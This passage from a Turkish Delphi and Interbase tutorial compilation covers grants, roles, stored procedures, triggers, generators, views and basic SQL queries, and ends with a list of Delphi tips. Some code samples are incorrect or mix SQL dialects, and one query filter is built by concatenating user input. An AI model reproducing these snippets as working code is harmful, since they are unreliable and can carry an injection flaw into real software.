kaldırmak; geçersiz kılmak için ise revoke komutu kullanılır. Revoke için örnek Revoke insert on sicil from USER1 Role : Interbase’de kullanıcı tanımlı roller tanımlanarak; bu roller kolayca bir veya birkaç kullanıcıya verilerek onun belli yetkilere sahip olması sağlanır Örnek: create role administrator; CTRL+ENTER grant update on sicil to administrator; CTRL+ENTER grant administrator to user1,user2,user3; CTRL+ENTER Yukarıda administrator isimli bir rol yaratılmış ve bu role sicil tablosu üzerinde güncelleme yetkisi verilmiş daha sonrada bu tanımlı rol USER1,USER2,USER3 kullanıcılarına verilmiştir. INTERBASE ile İSTEMCİ / SUNUCU VERİ TABANI TASARIMI (4)
0
11 Şub 2002 23:05 Eklendi
3. Bölüm Interbase’de Strored Procedure ,View,Trigger ve Generators hakkında Strored Procedure Nedir?, Ne amaçla kullanılır Depolanmış Yordamlar(Stored Procedure) : Interbase veritabanı üzerine yazılan 1426
rutinlerdir. Kullandığınız dille veya SQL ile bir ilgisi olmayıp; İnterbase veritabanına özgü bir kod yapısıdır. Stored Procedur’ların kodu platformdan bağımsızdır. Eğer verilerinizi hem UNIX’te hem de Windows’ta kullanacaksanız veritabanı işlemlerinizin çoğunu Stored Procedur’lar aracılığla yapmanızı öneririm. Böylece Stored Procedure’ların gerekli işleri yapmasını sağlayan çok küçük istemci uygulamalar yaratabilirsiniz. En önemlisi istemci/sunucu uygulamalarda Stored Procedure’lar sunucu(server) yakasında çalışacağından (yani veritabanı’nın olduğu yerde) ilgili işlemler çok hızlı gerçekleşecek ve network trafiğini rahtlatacaktır. Evet Stored Procedure (Depolanmış yordamlar) genel anlamda anladığımıza göre şimdi basit bir Procedure yaratalım ama önce genel yapısını inceleyelim CREATE PROCEDURE ProcedureName
Result := StoredProc1.ParamByName(‘SICILCOUNT’).AsInteger; End Şimdi bir Exception yaratalım ve bu exception’ı çağıran bir procedure yazalım. Exception bir hata durumunda ekranda göstereceğimiz mesajı tanımlar ve genel yapısı aşağıdaki gibidir. CREATE EXCEPTION name 'mesajınız'; ISQL’i açalım ve veritabanına bağlandıktan sonra CREATE EXCEPTION DETAILHATA "Master kayıt kayıp veya yok"; CTRL + ENTER bu exception’u master tabloda olmayan bir öğrenci numarasını detail kayıt olan VELI tablosuna ekleyeceğimiz kayıtta çıkacak hatada çağıracağız. Bu hatanın çıkma sebebi önceki bölümlerde tanımladığımız Referans Integrity (Referans Bütünlüğü)’den kaynaklanmaktadır. Şimdi Veli tablosuna kayıt ekleyecek Stored Procedure’ımızı yazalım. SQL Explorer’ı açalım, veritabanımıza bağlanalım ve procedure’ın üzerinde CTRL + N’e basalım CREATE PROCEDURE ADD_VELI ( OGRNO DOUBLE PRECISION, VADI VARCHAR(20), VSOYADI VARCHAR(20) ) AS BEGIN BEGIN INSERT INTO VELI (OGRNO,VADI,VSOYADI) VALUES (:OGRNO, :VADI, :VSOYADI); WHEN SQLCODE -530 DO EXCEPTION DETAILHATA; END SUSPEND; END Evet sanırım anlaşılıyor şimdi bu yordamı ISQL’den çalıştıralım; tabii isterseniz delphi veya başka bir programlama dilinden de çağırabilirsiniz. execute procedure add_veli(11,"Cüneyt","ERDEM"); CTRL + ENTER 11 numaralı öğrenci master tabloda tanımlı olmadığı için tanımladığımız hata mesajı ekrana gelecektir. Fakat bu yordamı Ana tabloda var olan bir kayıt numarası ile çalıştırırsanız bu hata çıkmayacak istediğiniz veriler VELİ tablosuna yazılacaktır. Şimdilik Depolanmış Yordamlar konusuna burada ara verip Trigger ve Generators’ ler hakkında bir şeyler öğrenelim.
INTERBASE ile İSTEMCİ / SUNUCU VERİ TABANI TASARIMI (5)
0
11 Şub 2002 23:08 Eklendi
(Generators and Triggers) Üreticiler ve Tetikleyiciler: Interbase de Paradox’ta ki (+) Autoincrement veri tipi yoktur. Aslında bu hemen 1428
hiçbir DBMS’de yoktur (MS-SQL vb) ama bu bir eksiklik değildir. Otomatik sayı üretmek için Üreticiler (Generators) ve Tetikleyicilerden (Trigger) yararlanacağız. Önce bir Üretici tanımlayalım; CREATE GENERATOR OGRNO_GEN; CTRL + ENTER’a basalım. Şimdi OGRNO_GEN isimli bir üretici tanımladık. Ve şimdi bu üreticinin hangi numaradan başlayacağını belirtelim. SET GENERATOR OGRNO_GEN TO 100 İlk öğrenci numaramız 100’den başlayacak. Ama burada hemen belirtmeliyim; Eğer bu üreticiyi silmek isterseniz DROP kullanamazsınız. Bunun için Delete komutunu kullanmamız gerekir; üreticiler Interbase’in sistem tablolarına yaratılır ve bunu silmek için: DELETE FROM RDB$GENERATOR WHERE RDB$GENERATOR_NAME = 'OGRNO_GEN'; CTRL + ENTER Kullanarak silebiliriz. Evet şimdi bu üreticiyi kullanacak bir trigger yazlım. Trigger Begin Bloğuyla başlar ve END cümlesi ile sona erer. Bir Triger içerisinden Depolanmış yordamlar çağrılabilir. Triggerlar tabloya yazılır. Bir trigger bir olaya bağlı olarak otomatik çalışır. Şimdi Trigger’ımızı yazalım. SQL Explorer’ı açalım; Sicil Tablosunu seçip, Trigger üzerine gelip CTRL + ENTER’a basalım CREATE TRIGGER SICILTRIGGER FOR SICIL BEFORE INSERT POSITION 0 AS BEGIN NEW.OGRNO = GEN_ID(OGRNO_GEN,1); /* buradaki 1 in anlamı 1 er artır demektir*/ END Ve şimdi ISQL i açarak SQL cümlesini çalıştıralım. INSERT INTO SICIL (ADI,SOYADI) VALUES ( "M.C.","UYAN"); Select * from sicil Yeni kaydımızın OGRNO = 101 olduğunu görürüz. Eğer yeni bir kayıt daha eklersek 102,103 vs olacaktır. Şimdi başka bir trigger yazalım ve bu trigger Master tablosundaki Öğrenci numarasını değiştirdiğimizde master tabloya bağlı detay tabloların tümünü değiştirsin. Yine triggerımızı Sicil tablosu üzerine yazıyoruz; CREATE TRIGGER OGRNOUPDATE FOR SICIL AFTER UPDATE POSITION 0 AS BEGIN IF(OLD.OGRNO<>NEW.OGRNO) THEN BEGIN UPDATE RESIM SET RESIM.OGRNO = NEW.OGRNO WHERE RESIM.OGRNO = OLD.OGRNO; UPDATE VELI SET VELI.OGRNO = NEW.OGRNO WHERE VELI.OGRNO = OLD.OGRNO; END END 1429
Şimdi tetikleyiciyi denemek için ISQL’i açalım ve aşağıdaki SQL cümleciğini yazalım. UPDATE SICIL SET OGRNO = 15 WHERE OGRNO = 1; Ana tablodaki 1 nolu öğrencinin numarasını 15 olarak değiştiriyoruz. Ve şimdi bakalım tüm tablolarda değiştimi ? Select * from sicil Select * from resim Select * from veli Evet tüm tablolarda 1 nolu öğrencinin artık 15 nolu öğrenci olarak görünüyor olması lazım. Şimdi de Veri kümesi döndüren bir Depolanmış Yordam yazalım. CREATE PROCEDURE OGRLISTE ( OGRNO1 INTEGER, OGRNO2 INTEGER /* Uygulamadan gönderilecek parametreler*/ ) RETURNS ( ADI VARCHAR(30), SOYADI VARCHAR(30), /* Yordam dan döndürülecek değerler.*/ OGRNO INTEGER, VADI VARCHAR(30), VSOYADI VARCHAR(30) ) AS BEGIN FOR /* sorgu başlatılıyor..*/ SELECT SICIL.ADI,SICIL.SOYADI,SICIL.OGRNO,VELI.VADI,VELI.VSOYADI FROM SICIL,VELI WHERE SICIL.OGRNO = VELI.OGRNO AND SICIL.OGRNO BETWEEN :OGRNO1 AND :OGRNO2 ORDER BY OGRNO ASC INTO :ADI,:SOYADI,:OGRNO,:VADI,:VSOYADI DO SUSPEND; END Yukarıda tanımlı yordam görmek istedğiniz aralıkta size öğrencileri veli isimleri ile beraber listelemektedir. Örnek : ISQL’i açalım DB’ye bağlandıktan sonra; SELECT * FROM OGRLISTE(47, 59); CTRL + ENTER Evet sonuç karşımızda 47 ile 59 no arasındaki tüm öğrenciler listelenecektir. Tabii biz kullanıcıların ISQL’e girmesini bekleyemeyiz bunun için aşağıda yazacağınız istemci programdan bu depolanmış yordamı nasıl çağıracağınız açıklanmıştır. Artık bu Depolanmış Yordamı istemci programınızdan çalıştırabilirsiniz. Bunun için yapmanız gereken Form üzerine TDatabase veya TIBDatabase, TIBStoredProcedure, TIBQuery alalım. Daha sonra TDatabase’in DatabaseName = C:\data\dersane.gdb yazalım. TStoredProc.StoredProcName = “OGRLISTE” ‘ye eşitleyelim ve Query1’e aşağıdaki sorguyu yazalım. TDataSource ve TDBGrid ‘i de Query1’e bağlayalım. SELECT * FROM OGRLISTE(:OGRNO1, :OGRNO2) ve gerekli parametreleride Query1.ParamByName ile vererek Query1.Active = true; yapalım. İşte sonuç karşımızda. 1430
Daha önce de belirttiğim gibi akla şu soru gelebilir, Biz Depolanmış Yordam yerine bu sorguyu doğrudan TQuery nesnesine yerleştirebilirmiyiz. Cevap tabii ki evet ama bu durum da sorgunun işletilmesi daha uzun sürecektir. Üstelik bu işi istemci taafında çözmeniz gerekir. En doğrusu sorguyu yukarıda ki gibi sunucuya yerleştirmektir. “Yukarıda referans bütünlüğüne sahip güçlü veritabanları yaratmak için kullanılan teknikleri öğrendik. Üreticiler, tetikleyiciler ve depolanmış yordamları kullanmayı ve ilişkisel verilerde filtreleme yapmayı da öğrendik. Kısacası genel hatlarıyla profesyonel bir veritabanı oluşturmak için gerekli temel bilgileri artık biliyoruz. Bu bilgiler iyi bir veritabanı oluşturmamız için bize gereken tüm bilgileri elbette vermemiştir ama sırası geldikçe bunları da öğreneceğiz.”
View : View’i güvenlik için kullanabileceğiniz gibi karmaşık sorgular kurup bunu view ile sunucu tarafında hızlı bir şekilde çalıştırılmasını da sağlayabilirsiniz. View aslında bir tablonun veya tabloların görüntüsüdür. Eğer view için basit bir güvenlik örneği vermek gerekirse Yukarıda haklardan bahsetmştik biz bir kullanıcıya select hakkı verdiğimizde bu kullanıcı ilgili tablonun tüm alanlarını select edebilecektir. Bazen bunu istemediğimiz durumlar olabilir. Örneğin personel tablosunda ki ücret alanının görülememesi gibi. İşte bu gibi durumlarda view kullanabilirsiniz. Örnek CREATE TABLE PERSONEL ( PERNO DOUBLE PRECISION NOT NULL, ADI VARCHAR(20), SOYADI VARCHAR(20), UCRET VARCHAR(15), PRIMARY KEY (PERNO) ); şimdi bu tabloya select yetkisi olan herkes UCRET alanını da select edebilecektir ama biz bunu istemiyoruz. Bunun için hemen bir VIEW yaratacağız CREATE VIEW PERSONEL_LIST AS SELECT PERNO, ADI, SOYADI FROM PERSONEL Ve kullanıcıya select hakkı verirken PERSONEL tablosuna değilde onun görüntüsü üzerine select hakkı vereceğiz. Grant select on PERSONEL_LIST to USER1 Evet artık USER1 Personel ücretlerini göremeyecektir. View’lerin başka kullanım alanlarıda karmaşık sorguların view içine yerleştirilip istemci program tarafından kolay ve hızlı sorgular gerçekleştirebilmesidir. Sonuç Olarak : istemci / sunucu veri tabanı tasarlamanın yararı tartışılmazdır. 1431
1. Network trafiğini rahatlatır. 2. Veritabanın’daki bir uygulama değişikliği tüm client uygulamalara otomatik olarak yansıtılacaktır. 3. Veritabanını geliştirme ve Veritabanı bakım işlerinde geçen zamanı kısaltır. 4. Uygulamanın performansını arttırır 5. vs.vs..... eh uzun bir yazı oldu. Ben uğraştım yazdım umarım sizde gayret gösterir okursunuz. Tüm soru ve önerilerinizi bu makaleye bırakırsanız bende bu makalede cevaplayacağım. NOT: KUSURA BAKMAYIN MAKALEYİ TERSTEN VERDİM. EN ALTTAKİ SAYFA İLK SAYFA OLUYOR.TESTEN OKUYUN. VERITABANIN HEYACAN VEREN NOKTALARI INTERBASE 7 VE DELPHI
11 Şub 2002 14:39 Kemal
Öncelikle ikinci Makalemi biraz aceleye getirmiş bulunuyorum umarım faydalı bilgileri yeterince Kapsar. Birinci interbase makalemde bazı eksiklikleri bu makalemde tamamlamak istiyorum öncelikle Interbase için söz etmiş oldugum WorkBenchTools a ek olarak piyasada bazı yardımcı toollar vardır.Bunlardan en çok bilinen ve kullanılarnları IBExpert ve WorkBench dir.Delphi 6 içerisinde gelen Interbase 6 Interbase 5.x göre bir çok bug dah temizlenmiştir.lakin Date formatı interbase 6 da en büyük degişikliklerden birisidir.Bu makalemde özellikle Delphi ile interbase kullanımdan ve genel Query mantıgından bahsedecegim Delphi5,6 ile gelen IBComponents paketi Direct Apilerle interbase baglanmanın en önemli yollarından biridir Standart TTable ve TQuery nesnelerin kullanılmasını hiç bir sekilde tavsiye etmem Neden diye Soracak olanlara ise şu cevabı kısacık olarak açıklayım bilindigi üzere bir çok yeni başlayan arkadaş Database yapılarına BDE kullanarak baglanırlar genellikle en büyük sorunları install aşamasında olur ama gerçekte en büyük sorun hızdır nasıl mı? normalde delphi ile işlenen Veri Kodu ilk BDE tarafından algılanır ve BDE den Database de işlem yapılır sonuç yine BDE aktarılır ordanda Delphi Koduna Sonuç olarak bu uzambaçlı yol hız performansını önemli açıdan etkiler artı BDe de çıkan buglar yine programınızı etkileyecektir.Buna ek olarak programların hızını etkileyen en büyük etkenlerde Formların Autocreate olarak kullanılmaması Table yada Queryde While not Table or Query.EOF do begin end; veya For i:=1 to 99999999 gibi büyük döngüsel işlemler veya repeat until gibi kodlar programın akışını yavaşlatır.Gerçekte yapılması gereken StoredProcedure 1432
kullanılarak bu tip rutin ve döngüsel ifadeleri Databasede halletmektir.Delphide Commit işlemleri şu sekilde yapılır.Öncelikle Program içinde olan bütün Queryler close durumda olmalıdır nezaman kullanılırsa açılıp işlem bitip Ana forma geçildiginde kapatılmalıdır.Delphi 6 içinde interbase ulkaşmak öncelikle Bir DataModule Oluşturalım bunu Delphide New DataModule seçerek yapabiliriz Adını Dm1 koyalım Sonra içerisine IBDataBase ve IBTransection yerleştirelim IBDatabase nesnesini secelim ve mousen sag tuşuna basalım çıkan menude Username ve Password Alanlarını girelim Default SYSDBA,masterkey dir.Login checkboxı tıklayalım ve IBTransectioni mousle sag tıklayarak Read Commited seçenegini seçelim. Not:Ufak bir ekleme Aklıma gelmişken Veritabanı dizaynı çok önemlidir.Her projeye başlarken veritabanını oluşturmak uzmanlık ve üst bilgi isteyen bir işlemdir.Delphide yazılan kodun açıkçası pek önemli degildir hatasız bir veri mantıgı programınızı güçlu kılar mesala Arama islemlerinde Stringsel arama programınızı ve sorgunuzu yavaşlatır bunun için dahima Numeric arama kullanınız Mesal Kod,Adı olan iki fieldda 5 milyok kayıt olsun Aynı Queryde Ada göre arama Stringsel oldugundan daha uzun sürerken Kod'a göre olan numeric arama daha kısa zamanda tamamlanır.Buna ek olarak Alt Sorgulamadan(SubQuery) birazda bahsetmek istiyorum Mesala 3 tane Tablomuz olsun Musteri,Siparis ve Ürün Mesala söyle birsey olsun Ürün tablosundan Siparis Eden Müsterileri Görmek istiyorum Bunun için SubQuery kullanılmadan 2 Query yazılması gerekirken SubQuery yazılarak işlem 1 Adıma indirilir Örnek Select UrunKod,Ucret from URUN Where Ucret=(Select UrunKod from Urun Where UrunKod='10') gibi veya Select Urun,Adet, Toplam=(Select Sum(Adet) from Siparis),Oran=(Adet/Select Sum(Adet) from siparis) from Siparis Query ile Kayıt Ekleme INSERT TabloAdı Select FieldListesi From Tablo Where AramaField Örnek INSERT Yeni_Musteri Select Adi,SoyAdi From Musteri Query Kullanılarak UPDATE işlemi Yapılması UPDATE TabloAdi SET Field=ifade Where ArananFiledlar Örnek UPDATE Siparis SET Fiyati=Fiyati* 1.6 Where Fiyat='1000' Yani Fiyatı 1000 olanların Fiyatını 1600 yap demiş olduk. Ouery Kullanılarak Kayitlarin Silinmesi DELETE Tablo Where ArananFieldlar Örnek Delete Musteri Where Kod='80' gördügünüz üzere bu Queryler hep Numerik işleme göre Arama yapıyor Sonuç 1433
olarak hızlı ve hatasız çalışırlar. Mesala Query ile Tarih Nasıl Alınır ? Bunun için GETDATE Kullanırız Örnek Select GETDATE() GO QUERY ile Matematiksel Fonksiyonların Kullanılması ABS Mutlak Deger Yani Herzaman Pozitif olacak Örnek Select ABS(-2) Sonuc 2 dir. FLOOR Verilen Degeri Tamsayiya Döndürür Select FLOOR(72.55) Sonuç 72 Olacaktır. SQRT KareKök Örnek 6 ile 25 Arasındaki Sayıların Karekök Alınır. DECLARE @Deger FLOAT SET @Deger=6 While @Deger<25 Begin Select SQRT(@Deger) Select @Deger=@Deger+1; end GO Query ile Case Kullanılması Örnek Select Adi,SoyAdi,musterigrubu= Case grubu When 'A' then 'Cirosu 1000000 TL Üzerinde' When 'B' then 'Cirosu 100000 TL Üzerinde' When 'C' then 'Cirosu 10000 TL Üzerinde' ELSE 'Diger bir Sınıfta' END From Musteri Order By Adi GO Delphide Query nin Afterposuna IBTransaction1.CommitRetaining Yazarsanız Veriler Anında Veritabanına işler. Şimdilik Bukadar Bir Sonraki Makalemde görüşmek Dilegiyle Saygılarımla Kemal GÜLOL
1434
TTABLE/TQUERY ÜZERİNDE ARTTIRARAK ARAMA DBMEMO İÇERİSİNDE BİR METNİN ARANMASI BİR TABLONUN ALAN BİLGİLERİNİN ELDE EDİLMESİ TDBGRİD BİLEŞENİ ÜZERİNDE, KAYIT SIRALAMA MEVCUT TABLODAKİ KOLONLARIN ELENMESİ BİR TABLODAKİ TMEMOFİELD TİPLİ BİR ALAN İÇERİĞİNİN TMEMO BİLEŞENİNE AKTARILMASI BİR PARADOX TABLOSUNA İKİNCİ İNDEKS EKLENMESİ DETAYI OLAN BİR TABLODAN KAYIT SİLME DBGRİD VE MEMO ALANLAR TABLO İÇERİĞİNİN TSTRİNGRİD BİLEŞENİNE DOLDURULMASI TTABLE VEYA TQUERY ÜZERİNDEN KAYIT NUMARASININ BULUNMASI DBASE TABLOLARINDAN SİLİNMİŞ KAYITLARIN ATILMASI UYGULAMA İÇERİSİNDEN BDE KOD ADI (ALİAS) YARATILMASI BDE KOD ADI (ALİAS) PARAMETRELERİNİN ELDE EDİLMESİ BİR DBASE (.DBF) TABLOSUNDAKİ SİLİNMİŞ KAYITLARIN GÖRÜNTÜLENMESİ BİR TABLODAKİ ALAN SAYISININ BULUNMASI BİR TABLODAKİ VERİNİN, BAŞKA BİR TABLOYA EKLENMESİ SORGUDAN TABLO YARATILMASI SORGUDAN TABLOYA VERİ AKTARIMI TABLODAKİ BİR ALANA AİT VERİLERİN, BAŞKA BİR ALANA KOPYALANMASI TABLO KOPYALAMA TABLO SİLME ALAN ADININ BULUNMASI ORTAK ALAN İSİMLERİ TABLODAKİ ALAN İSİMLERİ ALAN NUMARASI ALAN UZUNLUĞU ALAN TİPLERİ TABLONUN ANAHTAR ALANLARI LOOKUP YÖNTEMİYLE DEĞER SEÇME DİYALOĞU BİR PARADOX TABLOSUNUN YENİDEN ANAHTARLANMASI TABLO ADININ DEĞİŞTİRİLMESİ TABLO YAPILARI AYNI MI? BİR TABLO ALANINDAKİ DEĞERLERİN SAĞ TARAFINDAKİ BOŞLUKLARIN TEMİZLENMESİ ARANAN ALAN, TABLODA VAR MI? ALAN ANAHTAR MI? TABLO MEVCUT MU? TABLO MEVCUT VE ESAS ANAHTARI VAR MI MEVCUT BİR TABLO İLE AYNI YAPIDA BAŞKA BİR TABLO YARATMAK TABLO FİLTRELEME ŞİFRELİ PARADOX TABLOSUNA OTOMATİK BAĞLANTI SUBSTRİNG FONKSİYONUNUN SQL CÜMLESİNDE KULLANILMASI DBCONTROLGRİD KAYDIRMA ÇUBUKLARI TABLODAN DOSYAYA AKTARMA SORGUDAN DOSYAYA AKTARMA ÖZEL BİR DBGRİD AĞ İŞLEMLERİ AĞ DA TANIMLI KULLANICILAR KİMLER? SES VE GRAFİK İŞLEMLERİ StringGrid içerisinde BMP EKRAN YAKALAMA BİR RESMİ, BMP FORMATINDAN JPEG FORMATINA ÇEVİRME DUVAR KAĞIDI DEĞİŞTİRME SİSTEMİN KULLANABİLECEĞİ RENK SAYISININ BULUNMASI DBGRİD ALANLARININ RENKLENDİRİLMESİ LİSTBOX BİLEŞENLERİNDE RENKLİ SATIRLAR
1435
RENK PALETLERİNİN YARATILMASI VE KULLANIMI MÜZİK CD Sİ ÇALINIRKEN, TRACK SAYISININ OKUNMASI EKRAN ÇÖZÜNÜRLÜĞÜ DEĞİŞTİRME BMP RESMİNİN PANOYA YAPIŞTIRILMSI VE PANODAN KOPYALAMASI BİR EXE DEKİ İKONUN ALINP BAŞKA BİR YERE ÇİZİLMESİ İKON RESMİNİN, BUTON ÜZERİNDE KULLANILMASI PANOYA RESİM KOPYALAMA BİR RESMİN ŞEFFAF OLARAK BAŞKA BİR RESİM ÜZERİNE YAPIŞTIRILMASI PALET DEĞİŞTİRME PANODAKİ METNİN DİSKTEKİ BİR DOSYAYA KAYDEDİLMESİ FORM VE PENCERE İŞLEMLERİ Masa üstündeki ikonların saklanması BÜTÜN AÇIK PENCERELERİN LİSTELENMESİ FARKLI BİR PENCERE ÜZERİNE BIRAKILAN DOSYALARA DUYARLI FORM FORM BAŞLIĞININ SAKLANMASI STANDART DIŞI FORMLAR FORM POZİSYONU EKRAN ÇÖZÜNÜRLÜĞÜ FORM BAŞLIK ALANI ÜZERİNDE SAAT GÖSTERİLMESİ FORM BAŞLIĞININ GİZLENMESİ FORMUN BAŞLIK ALANINA BUTON YERLEŞTİRME AÇILIR-KAPANIR FORM PENCERENİN TAŞINMASI DİSKET SÜRÜCÜSÜNDE DİSKET TAKILI MI ? ÇALIŞAN UYGULAMANIN BULUNDUĞU DİZİN WİNDOWS'UN STANDART "BROWSEFOLDER" DİYALOG PENCERESİNİN KULLANILMASI SEÇİLEBİLECEK, DİĞER ÖZEL KLASÖR TİPLERİ DÖKÜMAN ŞABLONLARI DOSYA KOPYALAMA BAŞKA BİR KOPYALAMA YÖNTEMİ; İKİLİ DOSYADAN OKUMA BİR DOSYANIN SALT OKUNUR OLARAK AÇILMASI SATIR SONU KARAKTERİNİN ASCİİ KODU NEDİR? DİSK SERİ NUMARASI VE ETİKETİNİN OKUNMASI DİSK SERİ NUMARASINA ERİŞİMİN BAŞKA BİR YOLU.. DİSK BİLGİLERİNİ ELDE ETMENİN BİR DİĞER YOLU İSE; BİR DOSYANIN TARİH VE SAAT BİLGİSİNİN ALINMASI BİR KLASÖRÜN ÖZELLİĞİNİN DEĞİŞTİRİLMESİ DOSYANIN SÜRÜKLENİP BIRAKILMASI WİNDOWS GEÇİCİ KLASÖRÜNÜN BULUNMASI DOSYA YARATILMA TARİHİ DOSYANIN SON KULLANILDIĞI TARİH DOSYANIN SON DEĞİŞTİRİLDİĞİ TARİH DİZİN BOŞMU? DOSYA UZANTISI HANGİ PROGRAMLA BAĞLANTILI? GERİ DÖNÜŞÜM KUTUSUNA GÖNDER. KARAKTER DİZİSİ KARŞILAŞTIRMA YÜKLENMİŞ DLL DOSYALARININ HAFIZADAN ATILMASI BİR DOS KOMUTUNUN KULLANILMASI TEDİT METNİNİN, ONCHANGE OLAYINDA DEĞİŞTİRİLMESİ TMEMO BİLEŞENİNDE, İMLEÇ HANGİ SATIRDA? ULUSAL AYARLAR TEDİTBOX BİLEŞENİNDEKİ METNİN İLK KARAKTERİNİN, BÜYÜK HARFE ÇEVİRİLMESİ WİNDOWS'UN KAPANMA ANININ TESPİTİ WİNDOWSUN KAPANDIĞINI TESPİT EDEN BİR BİLEŞEN KODU AŞAĞIDADIR. BİR MEMO VEYA RİCHEDİT BİLEŞENİNDE, İMLECİN İSTENEN YERE GÖNDERİLMESİ OTOMATİK E-MAİL
1436
MONİTÖRÜN AÇILIP KAPATILMASI WİNDOWS'UN KAPATILMASI/YENİDEN BAŞLATILMASI SİSTEMDE SES KARTI VARMI? PROGRAMIN ARKA PLANDA ÇALIŞTIRILMASI ÇALIŞAN PROGRAMIN, GÖREV ÇUBUĞU ÜZERİNDEN KALDIRILMASI OCX'KULLANIMI EKRAN ÇÖZÜNÜRLÜĞÜNDEKİ DEĞİŞİKLİKLERİN TESPİTİ PANO GÖRÜNTÜLEME CPU BİLGİLERİ ENTER TUŞUNUN TAB YERİNE KULLANILABİLECEĞİ BİR TEDİT BİLEŞENİ AYDA KAÇ GÜN VAR? GEÇEN HAFTANIN İLK GÜNÜ SONRAKİ HAFTANIN İLK GÜNÜ AYIN SON GÜNÜ GELECEK AY GEÇEN AY GÜN SONRA GELECEK AY ÖNCEKİ GÜN METİN İÇERİSİNDEN BİR KARAKTER SİLME METİN İÇERİSİNDEN, BİR KARAKTERİ DEĞİŞTİRME BİR METNİ BELLİ BİR UZUNLUĞA TAMAMLAMA METİN DEĞİŞTİRME PROGRAM İÇERİSİNDEN BAŞKA BİR UYGULAMAYA TUŞ GÖNDERME PROGRAMI DENEME SÜRÜMÜ HALİNE GETİRME LİSTBOX BİLEŞENİNE YATAY KAYDIRMA ÇUBUĞU EKLENMESİ SİSTEM TARİH/SAAT AYARININ DEĞİŞTİRİLMESİ ALT+TAB VE CTRL+ALT+DEL TUŞ KOMBİNASYONLARININ KULLANIMA KAPATILMASI EKRAN KORUYUCUNUN DEVREDEN ÇIKARILMASI PROGRAMIN, WİNDOWSUN BAŞLANGICINDA ÇALIŞTIRILMASI HATA MESAJI KONTROLÜ EKRAN KORUYUCU KURULMASI LİSTBOX YAZI TİPİNİN DEĞİŞTİRİLMESİ TAŞINABİLİR PANEL CD-ROM KAPAĞININ KAPATILMASI CD-ROM Kapağını açmak için; CD-ROM Kapağını kapatmak için; ÇALIŞMA ESNASINDA, BİLEŞEN SAYISININ KONTROLÜ FARE İMLECİNİN, İSTENEN KONTROL ÜZERİNE GETİRİLMESİ ALT-? TUŞ KOMBİNASYONU PROGRAMIN DURAKLATILMASI YAZI KARAKTERİ STİLİNİN DEĞİŞTİRİLMESİ MEVCUT BİR DAVRANIŞIN DEĞİŞTİRİLMESİ KES, KOPYALA, YAPŞTIR GETKEYBOARDSTATE SENDER PARAMETRESİNİN KULLANILMASI BÜYÜK METİNLERİN PANODAN ALINMASI WİNDOWS SÜRÜM NUMARASININ OKUNMASI PROGRAM GURUPLARININ LİSTBOX BİLEŞENİNE DOLDURULMASI TLİSTBOX VE TCOMBOBOX BİLEŞENLERİ İÇERİSİNE RESİM YERLEŞTİRİLMESİ BASİT BİR DLL ŞABLONU İPUCU PENCERESİNİN ÖZELLEŞTİRİLMESİ STRİNGRİD BİLEŞENİ İÇERİSİNDEKİ METNİN HİZALAMASI TSTRİNGGRİD BİLEŞENİNDEN BİR SATIRIN SİLİNMESİ TSTRİNGGRİD SATIRININ EN ALTA GÖNDERİLMESİ YAZDIRMA İSTENEN YAZICININ SEÇİMİ YAZICI YAZI TİPLERİ
1437
HEX TO DEC HAFIZA MİKTARI FARE HAREKET ALANININ KISITLANMASI PGUP VE PGDOWN TUŞLARI İLE FORMU AŞAĞI YUKARI KAYDIRMA ÖZEL YAZI KARAKTERİ EKRAN KORUYUCU BİR NESNEDEKİ ÖZELLİKLERİN LİSTESİ HABERLEŞME PORTLARINA ERİŞİM BİLEŞEN ÖZELLİKLERİNİN KAYIT DEFTERİNDE SAKLANMASI LİSTBOX İÇERİSİNDE ARTAN ARAMA BİR TEDİT.TEXT BİLGİSİNDEKİ DEĞİŞİKLİĞİN FARKEDİLMESİ COMBOBOX BİLEŞENİNİN, İÇİNE GİRİLDİĞİNDE AÇILMASI VE KAPANMASI YAZICIYA DOĞRUDAN BASKI GÖNDERME İŞLEMİ BİLGİSAYARI KAPATIP YENİDEN BAŞLATMA
DELPHİ PÜF NOKTALARI İÇİNDEKİLER
q q q q q q
VERİ TABANI/BDE AĞ IŞLEMLERI SES VE GRAFİK İŞLEMLERİ FORM VE PENCERE IŞLEMLERI DİSK VE DOSYA İŞLEMLERİ GENEL
VERİ TABANI/BDE Bu başlık altında, Delphi programlarında veri tabanı ve veri erişiminde kullanılan bileşenler ile ilgili püf noktaları ve gerekli kod örnekleri yer almaktadır. TTABLE/TQUERY ÜZERİNDE ARTTIRARAK ARAMA TEdit kullanarak, TTable üzerinde arttırmalı arama yapmak için, Tedid bileşeninin OnChange olay yordamına, aşağıdaki kod yazılır. procedure TForm1.Edit1Change(Sender: TObject); begin With Edit1 do if Text <> '' then Table1.FindNearest([Text]); end; Bu türlü bir arama Tquerry üzerinde yapılacaksa, procedure TForm1.Edit1Change(Sender: TObject); begin With Edit1 do if Text <> '' then begin Query1.Filter := 'code = '''+Edit1.Text+''''; Query1.FindFirst; end; end;
1438
veya procedure TForm1.Edit1Change(Sender: TObject); begin With Edit1 do if Text <> '' then Query1.Locate('code',Edit1.Text,[loPartialKey]); end; Paradox-Tablo yaratılması Kod içerisinden bir Paradox tablosu şu şekilde yaratılır. with TTable.create(self) do begin DatabaseName := 'C:\temp'; TableName := 'FOO'; TableType := ttParadox; with FieldDefs do Begin Add('Age', ftInteger, 0, True); Add('Name', ftString, 25, False); Add('Weight', ftFloat, 0, False); End; IndexDefs.Add('MainIndex','IntField', [ixPrimary, ixUnique]); CreateTable; End; DBMemo içeriğinin başka bir DBMemo bileşenine aktarılması DBMemo6.Lines:=DBMemo5.Lines.Assign; TDBNavigator bileşenin, kod içerisinden kontrol edilmesi procedure TForm1.DBNavigator1Click(Sender: TObject; Button: TNavigateBtn); var BtnName: string; begin case Button of nbFirst : BtnName := 'nbFirst'; nbPrior : BtnName := 'nbPrior'; nbNext : BtnName := 'nbNext'; nbLast : BtnName := 'nbLast'; nbInsert : BtnName := 'nbInsert'; nbDelete : BtnName := 'nbDelete'; nbEdit : BtnName := 'nbEdit'; nbPost : BtnName := 'nbPost'; nbCancel : BtnName := 'nbCancel'; nbRefresh: BtnName := 'nbRefresh'; end; MessageDlg(BtnName + ' button clicked.', mtInformation, [mbOK], 0); end;
DBMEMO İÇERİSİNDE BİR METNİN ARANMASI procedure Tform1.FindDialog1Find(Sender: TObject); var Buff, P, FT : PChar; BuffLen : Word; begin With Sender as TFindDialog do begin GetMem(FT, Length(FindText) + 1); StrPCopy(FT, FindText);
1439
